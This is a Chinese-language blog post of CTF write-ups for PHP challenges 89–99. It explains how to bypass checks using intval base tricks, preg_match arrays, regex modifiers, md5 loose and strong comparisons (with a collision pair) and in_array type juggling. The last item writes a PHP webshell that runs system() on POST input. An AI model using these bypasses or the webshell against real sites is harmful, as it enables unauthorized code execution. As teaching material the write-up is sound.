首页 > 编程语言 >php特性第一天

php特性第一天

时间:2023-05-24 16:47:50浏览次数:32  
标签:第一天 intval GET preg 特性 flag num php

目录

89

image-20230520082935928

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

get方式传入num参数,然后通过preg_match判断是否存在数字,如果存在,就die,不存在的话然后intval函数判断整数,通过数组绕过preg_match,因为preg_match无法处理数组
也就是说如果我们不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。

intval() 函数用于获取变量的整数值

image-20210728184924381

90

image-20230520083243566

intval ( mixed $var [, int $base = 10 ] ) : int

Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

payload

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

91

image-20230520084354350

考察点:正则表达式修饰符

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 
payload:%0aphp

%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

92

和第90关不同的是,90属于强类型比较( === ) ,92属于弱类型( == )。

在弱比较中(==),4476a与4476相等。

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

image-20230520090429800

image-20230520090442215

payload

?num=0x117c //十六进制 ?num=010574 //八进制 ?num=4476e123

93

过滤了字母,十六进制弄不了,那就改八进制

?num=010574

别忘了要0开头

94

image-20230520092849639

对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574
?num=+4476.0

95

image-20230520093554150

对点加了过滤,其他的还能用

96

image-20230520094950832

考察点:路径问题
下面方式在highlight_file中均等效于flag.php,也即本题的payload

/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议             

97

image-20230520095403098

考察点:php中hash比较缺陷
原因:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2

image-20230520095532778

md5弱比较,使用了强制类型转换后不再接收数组

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

md5强碰撞

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

98

image-20230520104320498

$_GET?$_GET=&$_POST:'flag';表示如果GET传参,则用POST传参flag覆盖
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';同理如果GET传参是flag字符串,则用cookie传参的flag覆盖以下同理$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示

所以用GET方式随便传一个 用POST方式传一个HTTP_FLAG=flag;

99

image-20230520104948317

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

payload: get : ?n=1.php post:content=

image-20230520112150818

标签:第一天,intval,GET,preg,特性,flag,num,php
From: https://www.cnblogs.com/vaneshadow/p/17428784.html

相关文章

  • php特性第二天
    99array_push()函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。该函数等于多次调用$array[]=$value。in_array()函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞没有设置第三个参数就可以形成自动转换)file_put_contents()函......
  • 制作一个生产环境可用的PHP基础镜像
    目录引言了解PHP基础镜像需求分析以及镜像选择构建准备最终的Dockerfile引言初学docker一定会觉得Dockerfile很难,其实只是无从下手的缘故。最好的学习方法就是看完每个Dokerfile指令的作用,然后不要急着去搞清楚,直接挑选一个你比较熟悉的服务软件动手自己制作一个。最......
  • openbiz PHP开源框架,企业级应用的功能基本都有了
    [url]http://www.iteye.com/topic/1128832[/url]openbizPHP开源框架,企业级应用的功能基本都有了我使用了一段时间,感觉还不错,现在推荐大家试试开源下载地址:http://code.google.com/p/openbiz-cubiQ群214408120[img]http://dl.iteye.com/upload/attach......
  • centos7安装erlang、rabbitmq以及php扩展
    centos7安装erlang、rabbitmq以及php扩展标签(空格分隔):liunx,php安装Erlang版本:el7erlang-20.3.8.25erlang-20.3.8.25-1.el7.x86_64.rpm1.下载wget--content-disposition"https://packagecloud.io/rabbitmq/erlang/packages/el/7/erlang-20.3.8.25-1.el7.x86_64.rpm/d......
  • 第一天
    按照知识星球上推荐的Java学习路线,先从韩顺平0基础Java教程开始看第一天学习历程当前时间:2023-05-2323:36从最基础的输出helloworld开始。学习Java类的概念,编译、运行的过程转义字符的基础了解Java注释类型,包括单行注释、多行注释、文本注释Java数据类型大致分类......
  • 【web 开发】PHP8中数组的序列化和反序列化
    前言数组的序列化(serialize)用来将数组的数据转换为字符串,以方便传递和数据库的存储。与之相对应的操作就是反序列化(unserialize),把字符串数据转换为数组加以使用。数组的序列化主要通过serialize()函数来完成。字符串的反序列化主要通过unserialize()函数来完成。对象的序列化与反序......
  • Graphpad Prism9.5.1 数据处理绘图软件详细安装教程 (含Win/Mac版)
    GraphPadPrismGraphPadPrism是一款非常专业强大的科研医学生物数据处理绘图软件,它可以将科学图形、综合曲线拟合(非线性回归)、可理解的统计数据、数据组织结合在一起,除了最基本的数据统计分析外,还能自动生成统计图。  安装教程下面就简单的介绍一下Win版的安装教程详细图文教程......
  • php反序列化逃逸
    之前就对字符串逃逸这一块理解的不是很深刻,下面通过一位师傅的博客来进一步深入理解一下有关php字符串逃逸的相关内容。贴上师傅的博客地址:https://blog.csdn.net/qq_45521281/article/details/107135706先来说一下什么是字符串逃逸,就是我们可以构造一些恶意代码,让其在反序列化......
  • xctf_easyphp
    easyphp类型:PHP代码审计1.审查传值2.观看分析条件从上往下看:1.if(isset($a)&&intval($a)>6000000&&strlen($a)<=3)2.if(isset($b)&&'8b184b'===substr(md5($b),-6,6))3.$c=(array)json_decode(@$_GET['c'])4.if(is_a......
  • 小迪安全 第一天
    DNS(域名系统)服务协议:一种分布式网络目录服务,用于域名与IP地址的相互转换,以及控制因特网的电子邮件的发送。本地hosts与dns的关系:客户端通过域名请求服务,如果你在本地的hosts文件中配置了该域名与ip的映射关系,那么,请求就会直接发送到hosts文件中对应的ip,不会通过dns解析(如果本地......